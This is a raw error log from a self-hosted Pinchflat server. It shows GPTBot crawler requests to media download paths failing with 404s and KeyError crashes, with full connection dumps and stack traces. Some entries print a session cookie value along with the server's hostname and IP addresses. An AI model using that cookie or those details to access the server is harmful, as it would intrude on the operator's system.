"gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89341/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMepkjJ38mn6oAMYXC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264168.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89341/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46614}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89341/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264168.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89341/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46614}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a9 (truncated) 02:57:31.646 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.787 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:01.648 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:29.955 [info] GET /sources/1/media/89340/force_download 02:58:29.956 [debug] QUERY OK source="settings" db=0.2ms idle=1296.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:29.957 [debug] QUERY OK source="settings" db=0.2ms idle=1297.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:58:29.957 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:58:29.957 [error] #PID<0.264176.0> running PinchflatWeb.Endpoint (connection #PID<0.264175.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89340/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89340/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89340/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59826}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264176.0>, params: %{}, path_info: ["sources", "1", "media", "89340", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89340/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMiKaQsiRPIGIAJ_rB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89340/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59826}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89340/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89340/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59826}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a9 (truncated) 02:58:31.650 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.788 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:01.652 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:31.654 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:32.369 [info] GET /sources/1/media/89349/force_download 02:59:32.370 [debug] QUERY OK source="settings" db=0.3ms idle=1710.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:32.371 [debug] QUERY OK source="settings" db=0.2ms idle=1711.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:32.371 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:59:32.372 [error] #PID<0.264184.0> running PinchflatWeb.Endpoint (connection #PID<0.264183.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89349/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89349/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264183.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89349/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 57378}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264184.0>, params: %{}, path_info: ["sources", "1", "media", "89349", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89349/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMly68agvAvYcAJ_uB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264183.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89349/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 57378}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89349/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264183.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89349/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 57378}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264184.0>, params: %{}, path_info: ["sources", "1", "media", "89349", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.E (truncated) 03:00:00.789 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:01.656 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:31.658 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:34.159 [info] GET /sources/1/media/89339/force_download 03:00:34.159 [debug] QUERY OK source="settings" db=0.3ms idle=1500.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:34.160 [debug] QUERY OK source="settings" db=0.3ms idle=1500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:00:34.160 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:00:34.161 [error] #PID<0.264191.0> running PinchflatWeb.Endpoint (connection #PID<0.264190.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89339/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89339/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89339/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44924}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264191.0>, params: %{}, path_info: ["sources", "1", "media", "89339", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89339/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMpZGq7P3K5o8AJ_xB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89339/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44924}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89339/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89339/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44924}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264191.0>, params: %{}, path_info: ["sources", "1", "media", "89339", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.E (truncated) 03:01:00.790 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:01.661 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:31.663 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.791 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:01.665 [info] 